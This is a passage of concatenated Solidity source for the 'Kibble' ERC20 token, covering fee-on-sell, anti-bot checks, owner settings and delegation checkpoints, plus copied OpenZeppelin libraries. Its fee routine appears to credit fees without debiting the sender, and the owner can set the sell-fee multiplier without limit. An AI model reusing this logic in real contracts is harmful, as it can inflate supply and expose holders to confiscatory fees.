_delegateByPower(signatory, _delegatee, DelegationPower.Proposition);
}
/// @notice transfers tokens to recipient
/// @param _recipient who the tokens are going to
/// @param _amount amount of tokens
function transfer(address _recipient, uint256 _amount)
public
virtual
override
returns (bool success_)
{
require(_recipient != address(0), 'Kibble: transfer to the zero address');
address sender = _msgSender();
if (_amount == 0) {
super._transfer(sender, _recipient, 0);
return false;
}
if (antiBotEnabled) {
if (tokenPairs[_recipient]) {
require(
!antiBot.scanAddress(sender, _recipient, tx.origin),
'Kibble: no bots allowed'
);
}
}
uint256 amountMinusFees = _removeFees(sender, _recipient, _amount);
_transfer(sender, _recipient, amountMinusFees);
_resetFee();
success_ = true;
}
/// @notice transfers tokens from sender to recipient
/// @param _sender who the tokens are from
/// @param _recipient who the tokens are going to
/// @param _amount amount of tokens
function transferFrom(
address _sender,
address _recipient,
uint256 _amount
) public virtual override returns (bool success_) {
require(_sender != address(0), 'Kibble: transfer from the zero address');
require(_recipient != address(0), 'Kibble: transfer to the zero address');
if (_amount == 0) {
_transfer(_sender, _recipient, 0);
return false;
}
if (antiBotEnabled) {
if (tokenPairs[_sender]) {
require(
!antiBot.scanAddress(_recipient, _sender, tx.origin),
'Kibble: no bots allowed'
);
}
if (tokenPairs[_recipient]) {
require(
!antiBot.scanAddress(_sender, _recipient, tx.origin),
'Kibble: no bots allowed'
);
}
}
uint256 amountMinusFees = _removeFees(_sender, _recipient, _amount);
_transfer(_sender, _recipient, amountMinusFees);
_resetFee();
success_ = true;
}
/// @notice sets new redistribution address
/// @param _address address for redistribution policy
function setRedistributionPolicyAddress(address _address) external onlyOwner {
require(_address != address(0), 'Kibble: address cannot be zero address');
require(_isContract(_address), 'Kibble: address has to be a contract');
if (redistributionPolicyAddress != address(0)) {
delete excluded[redistributionPolicyAddress];
}
redistributionPolicyAddress = _address;
_setExcluded(_address, true);
}
/// @notice enable fees to be sent to redistribution policy
function enableFees() external onlyOwner {
require(
redistributionPolicyAddress != address(0),
'Kibble: redistribution policy not set'
);
require(!feeEnabled, 'Kibble: fee already enabled');
feeEnabled = true;
}
/// @notice disable fees to be sent to redistribution policy
function disableFees() external onlyOwner {
require(feeEnabled, 'Kibble: fee already disabled');
feeEnabled = false;
}
/// @notice set a new tax fee
/// @param _fee the new fee
function setTaxFee(uint256 _fee) external onlyOwner {
_taxFee = _fee;
}
/// @notice set a new fee multiplier
/// @param _multiplier the new multiplier
function setFeeMultiplier(uint256 _multiplier) external onlyOwner {
_feeMultiplier = _multiplier;
}
/// @notice set cool down for fee reset
/// @param _cooldown cool down in days
function setFeeResetCooldown(uint256 _cooldown) external onlyOwner {
feeResetCooldown = _cooldown;
}
/// @notice set a pair to be included/excluded into antibot
/// @param _pair the pair address
/// @param _included if the pair is included or not
function setTrackedPair(address _pair, bool _included) external onlyOwner {
require(_pair != uniswapV2Pair, 'Kibble: og weth pair cannot be updated');
require(_isContract(_pair), 'Kibble: address has to be a contract');
_setTrackedPair(_pair, _included);
}
/// @notice set contract address to include in fees
/// @param _targetAddress the address
/// @param _included if the pair is included or not
function setSellContracts(address _targetAddress, bool _included)
external
onlyOwner
{
require(
_isContract(_targetAddress),
'Kibble: address has to be a contract'
);
_setSellContracts(_targetAddress, _included);
}
/// @notice set contract address to excluded from fees
/// @param _targetAddress the address
/// @param _included if the pair is included or not
function setExcluded(address _targetAddress, bool _included)
external
onlyOwner
{
_setExcluded(_targetAddress, _included);
}
/// @notice calculate fees for given user and send to redis
/// @param _sender the amount of tokens being transferred
/// @param _recipient the amount of tokens being transferred
/// @param _amount the amount of tokens being transferred
function _removeFees(
address _sender,
address _recipient,
uint256 _amount
) internal returns (uint256 amount_) {
if (!_includedInFee(_sender, _recipient)) return _amount;
_calcFee(_sender);
uint256 fee = _amount.mul(_taxFee).div(100);
_balances[redistributionPolicyAddress] = _balances[
redistributionPolicyAddress
]
.add(fee);
amount_ = _amount.sub(fee);
emit Transfer(_sender, redistributionPolicyAddress, fee);
}
/// @notice choose fee percentage and update reset time and tx counts
/// @param _sender the amount of tokens being transferred
function _calcFee(address _sender) internal {
if (_firstSell[_sender] + feeResetCooldown < block.timestamp) {
_sellCount[_sender] = 0;
}
if (_sellCount[_sender] == 0) {
_firstSell[_sender] = block.timestamp;
}
if (_sellCount[_sender] < 4) {
_sellCount[_sender]++;
}
_taxFee = _sellCount[_sender].mul(_feeMultiplier);
}
/// @notice Writes a checkpoint before any operation involving transfer of value: _transfer, _mint and _burn
/// - On _transfer, it writes checkpoints for both "from" and "to"
/// - On _mint, only for _recipient
/// - On _burn, only for _sender
/// @param _sender the from address
/// @param _recipient the to address
/// @param _amount the amount to transfer
function _beforeTokenTransfer(
address _sender,
address _recipient,
uint256 _amount
) internal override {
address votingFromDelegatee = _getDelegatee(_sender, _votingDelegates);
address votingToDelegatee = _getDelegatee(_recipient, _votingDelegates);
uint256 fee = 0;
if (_includedInFee(_sender, _recipient)) {
fee = _amount.mul(_taxFee).div(100);
}
_moveDelegatesByPower(
votingFromDelegatee,
votingToDelegatee,
_amount.add(fee),
DelegationPower.Voting
);
address propPowerFromDelegatee = _getDelegatee(
_sender,
_propositionPowerDelegates
);
address propPowerToDelegatee = _getDelegatee(
_recipient,
_propositionPowerDelegates
);
_moveDelegatesByPower(
propPowerFromDelegatee,
propPowerToDelegatee,
_amount.add(fee),
DelegationPower.Proposition
);
}
/// @notice get delegation data by power
/// @param _power the power querying by from
function _getDelegationDataByPower(DelegationPower _power)
internal
view
override
returns (
mapping(address => mapping(uint256 => Checkpoint)) storage checkpoints_,
mapping(address => uint256) storage checkpointsCount_,
mapping(address => address) storage delegates_
)
{
if (_power == DelegationPower.Voting) {
checkpoints_ = votingCheckpoints;
checkpointsCount_ = _votingCheckpointsCounts;
delegates_ = _votingDelegates;
} else {
checkpoints_ = _propositionPowerCheckpoints;
checkpointsCount_ = _propositionPowerCheckpointsCounts;
delegates_ = _propositionPowerDelegates;
}
}
/// @notice set a pair to be included/excluded into fees
/// @param _pair the pair address
/// @param _included if the pair is included or not
function _setTrackedPair(address _pair, bool _included) internal {
require(
tokenPairs[_pair] != _included,
'Kibble: pair is already tracked with included state'
);
tokenPairs[_pair] = _included;
emit LogTokenPair(_pair, _included);
}
/// @notice set an address for selling contracts
/// @param _targetAddress the address
/// @param _included if the pair is included or not
function _setSellContracts(address _targetAddress, bool _included) internal {
require(
sellContracts[_targetAddress] != _included,
'Kibble: This address is already tracked with included state'
);
sellContracts[_targetAddress] = _included;
emit LogSellContracts(_targetAddress, _included);
}
/// @notice set an address to be excluded from fees
/// @param _targetAddress the address
/// @param _included if the pair is included or not
function _setExcluded(address _targetAddress, bool _included) internal {
require(
excluded[_targetAddress] != _included,
'Kibble: This address is already tracked with included state'
);
excluded[_targetAddress] = _included;
emit LogExcluded(_targetAddress, _included);
}
/// @notice reset the fee
function _resetFee() private {
_taxFee = 5;
}
/// @notice check to included from fees
/// @param _sender the amount of tokens being transferred
/// @param _recipient the amount of tokens being transferred
function _includedInFee(address _sender, address _recipient)
private
view
returns (bool included_)
{
included_ =
feeEnabled &&
(sellContracts[_recipient] || tokenPairs[_recipient]) &&
!excluded[_sender];
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import '@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol';
import '@openzeppelin/contracts/utils/Context.sol';
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 internal _totalSupply;
string internal _name;
string internal _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
'ERC20: transfer amount exceeds allowance'
);
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
'ERC20: decreased allowance below zero'
);
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), 'ERC20: transfer from the zero address');
require(recipient != address(0), 'ERC20: transfer to the zero address');
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, 'ERC20: transfer amount exceeds balance');
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), 'ERC20: mint to the zero address');
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), 'ERC20: burn from the zero address');
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, 'ERC20: burn amount exceeds balance');
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), 'ERC20: approve from the zero address');
require(spender != address(0), 'ERC20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
interface IFTPAntiBot {
function scanAddress(
address _address,
address _safeAddress,
address _origin
) external returns (bool);
function registerBlock(address _recipient, address _sender) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
import { AccessControl } from '@openzeppelin/contracts/access/AccessControl.sol';
import { Ownable } from '@openzeppelin/contracts/access/Ownable.sol';
abstract contract KibbleAccessControl is AccessControl, Ownable {
/// @notice role based events
event BurnerAdded(address burner);
event MinterAdded(address minter);
/// @notice set minter role, ie staking contracts
bytes32 public constant BURNER_ROLE = keccak256('BURNER_ROLE');
/// @notice set minter role, ie staking contracts
bytes32 public constant MINTER_ROLE = keccak256('MINTER_ROLE');
/// @notice onlyBurner modifier
modifier onlyBurner() {
require(
hasRole(BURNER_ROLE, msg.sender),
'KibbleAccessControl: Only burner'
);
_;
}
/// @notice setup a burner role can only be set by dev
/// @param _burner burner address
function setupBurner(address _burner) external onlyOwner {
require(
_isContract(_burner),
'KibbleAccessControl: Burner can only be a contract'
);
_setupRole(BURNER_ROLE, _burner);
emit BurnerAdded(_burner);
}
/// @notice onlyMinter modifier
modifier onlyMinter() {
require(
hasRole(MINTER_ROLE, msg.sender),
'KibbleAccessControl: Only minter'
);
_;
}
/// @notice setup minter role can only be set by dev
/// @param _minter minter address
function setupMinter(address _minter) external onlyOwner {
require(
_isContract(_minter),
'KibbleAccessControl: Minter can only be a contract'
);
_setupRole(MINTER_ROLE, _minter);
emit MinterAdded(_minter);
}
/// @notice Check if an address is a contract
function _isContract(address _addr) internal view returns (bool isContract_) {
uint256 size;
assembly {
size := extcodesize(_addr)
}
isContract_ = size > 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
import { SafeMath } from '@openzeppelin/contracts/utils/math/SafeMath.sol';
import { KibbleAccessControl } from './KibbleAccessControl.sol';
import { ERC20 } from './open-zeppelin/ERC20.sol';
abstract contract KibbleBase is ERC20, KibbleAccessControl {
using SafeMath for uint256;
bytes32 public constant DELEGATE_BY_POWER_TYPEHASH =
keccak256(
'DelegateByPower(address delegatee,uint256 type,uint256 nonce,uint256 expiry)'
);
bytes32 public constant DELEGATE_TYPEHASH =
keccak256('Delegate(address delegatee,uint256 nonce,uint256 expiry)');
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint128 blockNumber;
uint256 votes;
}
/// @notice Enum of powers delegate can have
enum DelegationPower {
Proposition,
Voting
}
/// @notice emitted when a user delegates to another
/// @param _delegator the delegator
/// @param _delegatee the delegatee
/// @param _power power querying
event DelegateChanged(
address indexed _delegator,
address indexed _delegatee,
DelegationPower _power
);
/// @notice emitted when an action changes the delegated power of a user
/// @param _user the user which delegated power has changed
/// @param _amount the amount of delegated power for the user
/// @param _power power querying
event DelegatedPowerChanged(
address indexed _user,
uint256 _amount,
DelegationPower _power
);
/// @notice grant single delegation power to delegatee
/// @param _delegatee giving power to
/// @param _power the power being given
function delegateByPower(address _delegatee, DelegationPower _power)
external
{
_delegateByPower(msg.sender, _delegatee, _power);
}
/// @notice grant delegation power to delegatee
/// @param _delegatee giving power to
function delegate(address _delegatee) external {
_delegateByPower(msg.sender, _delegatee, DelegationPower.Proposition);
_delegateByPower(msg.sender, _delegatee, DelegationPower.Voting);
}
/// @notice returns the delegatee of an user by power
/// @param _delegator the address of the delegator
/// @param _power power querying
function getDelegateeByPower(address _delegator, DelegationPower _power)
external
view
returns (address)
{
(
,
,
mapping(address => address) storage delegates
) = _getDelegationDataByPower(_power);
return _getDelegatee(_delegator, delegates);
}
/// @notice gets the current delegated power of a user. The current power is the
/// power delegated at the time of the last checkpoint
/// @param _user the user
/// @param _power power querying
function getPowerCurrent(address _user, DelegationPower _power)
external
view
returns (uint256 currentPower_)
{
(
mapping(address => mapping(uint256 => Checkpoint)) storage checkpoints,
mapping(address => uint256) storage checkpointsCounts,
) = _getDelegationDataByPower(_power);
currentPower_ = _searchByBlockNumber(
checkpoints,
checkpointsCounts,
_user,
block.number
);
}
/// @notice queries the delegated power of a user at a certain block
/// @param _user the user
/// @param _blockNumber the block number querying by
/// @param _power the power querying by
function getPowerAtBlock(
address _user,
uint256 _blockNumber,
DelegationPower _power
) external view returns (uint256 powerAtBlock_) {
(
mapping(address => mapping(uint256 => Checkpoint)) storage checkpoints,
mapping(address => uint256) storage checkpointsCounts,
) = _getDelegationDataByPower(_power);
powerAtBlock_ = _searchByBlockNumber(
checkpoints,
checkpointsCounts,
_user,
_blockNumber
);
}
/// @notice delegates the specific power to a delegate
/// @param _delegator the user which delegated power has changed
/// @param _delegatee the user which delegated power has changed
/// @param _power the power being given
function _delegateByPower(
address _delegator,
address _delegatee,
DelegationPower _power
) internal {
require(
_delegatee != address(0),
'KibbleBase: _delegateByPower: invalid delegate'
);
(
,
,
mapping(address => address) storage delegates
) = _getDelegationDataByPower(_power);
uint256 delegatorBalance = balanceOf(_delegator);
address previousDelegatee = _getDelegatee(_delegator, delegates);
delegates[_delegator] = _delegatee;
_moveDelegatesByPower(
previousDelegatee,
_delegatee,
delegatorBalance,
_power
);
emit DelegateChanged(_delegator, _delegatee, _power);
}
/// @notice reassigns delegation to another user
/// @param _from the user from which delegated power is moved
/// @param _to the user that will receive the delegated power
/// @param _amount the amount of delegated power to be moved
/// @param _power the power being reassigned
function _moveDelegatesByPower(
address _from,
address _to,
uint256 _amount,
DelegationPower _power
) internal {
if (_from == _to) {
return;
}
(
mapping(address => mapping(uint256 => Checkpoint)) storage checkpoints,
mapping(address => uint256) storage checkpointsCounts,
) = _getDelegationDataByPower(_power);
if (_from != address(0)) {
uint256 previous = 0;
uint256 fromCheckpointsCount = checkpointsCounts[_from];
if (fromCheckpointsCount != 0) {
previous = checkpoints[_from][fromCheckpointsCount - 1].votes;
} else {
previous = balanceOf(_from);
}
uint256 newVal = previous.sub(_amount);
_writeCheckpoint(checkpoints, checkpointsCounts, _from, uint128(newVal));
emit DelegatedPowerChanged(_from, newVal, _power);
}
if (_to != address(0)) {
uint256 previous = 0;
uint256 toCheckpointsCount = checkpointsCounts[_to];
if (toCheckpointsCount != 0) {
previous = checkpoints[_to][toCheckpointsCount - 1].votes;
} else {
previous = balanceOf(_to);
}
uint256 newVal = previous.add(_amount);
_writeCheckpoint(checkpoints, checkpointsCounts, _to, uint128(newVal));
emit DelegatedPowerChanged(_to, newVal, _power);
}
}
/// @notice searches a checkpoint by block number. Uses binary search.
/// @param _checkpoints the checkpoints mapping
/// @param _checkpointsCounts the number of checkpoints
/// @param _user the user for which the checkpoint is being searched
/// @param _blockNumber the block number being searched
function _searchByBlockNumber(
mapping(address => mapping(uint256 => Checkpoint)) storage _checkpoints,
mapping(address => uint256) storage _checkpointsCounts,
address _user,
uint256 _blockNumber
) internal view returns (uint256 checkpoint_) {
require(
_blockNumber <= block.number,
'KibbleBase: _searchByBlockNumber: invalid block number'
);
uint256 checkpointsCount = _checkpointsCounts[_user];
if (checkpointsCount == 0) {
return balanceOf(_user);
}
// First check most recent balance
if (_checkpoints[_user][checkpointsCount - 1].blockNumber <= _blockNumber) {
return _checkpoints[_user][checkpointsCount - 1].votes;
}
// Next check implicit zero balance
if (_checkpoints[_user][0].blockNumber > _blockNumber) {
return 0;
}
uint256 lower = 0;
uint256 upper = checkpointsCount - 1;
while (upper > lower) {
uint256 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory checkpoint = _checkpoints[_user][center];
if (checkpoint.blockNumber == _blockNumber) {
return checkpoint.votes;
} else if (checkpoint.blockNumber < _blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
checkpoint_ = _checkpoints[_user][lower].votes;
}
/// @notice get delegation data by power
/// @param _power the power querying by from
function _getDelegationDataByPower(DelegationPower _power)
internal
view
virtual
returns (
mapping(address => mapping(uint256 => Checkpoint)) storage, //checkpoint
mapping(address => uint256) storage, //checkpoints count
mapping(address => address) storage //delegatees list
);
/// @notice Writes a checkpoint for an owner of tokens
/// @param _checkpoints the checkpoints mapping
/// @param _checkpointsCounts the number of checkpoints
/// @param _owner The owner of the tokens
/// @param _value The value after the operation
function _writeCheckpoint(
mapping(address => mapping(uint256 => Checkpoint)) storage _checkpoints,
mapping(address => uint256) storage _checkpointsCounts,
address _owner,
uint128 _value
) internal {
uint128 currentBlock = uint128(block.number);
uint256 ownerCheckpointsCount = _checkpointsCounts[_owner];
mapping(uint256 => Checkpoint) storage checkpointsOwner = _checkpoints[
_owner
];
// Doing multiple operations in the same block
if (
ownerCheckpointsCount != 0 &&
checkpointsOwner[ownerCheckpointsCount - 1].blockNumber == currentBlock
) {
checkpointsOwner[ownerCheckpointsCount - 1].votes = _value;
} else {
checkpointsOwner[ownerCheckpointsCount] = Checkpoint(
currentBlock,
_value
);
_checkpointsCounts[_owner] = ownerCheckpointsCount + 1;
}
}
/// @notice returns the user delegatee. If a user never performed any delegation,
/// his delegated address will be 0x0. In that case we simply return the user itself
/// @param _delegator the address of the user for which return the delegatee
/// @param _delegates the array of delegates for a particular type of delegation
function _getDelegatee(
address _delegator,
mapping(address => address) storage _delegates
) internal view returns (address delegtee_) {
address previousDelegatee = _delegates[_delegator];
delegtee_ = previousDelegatee == address(0)
? _delegator
: previousDelegatee;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.4;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
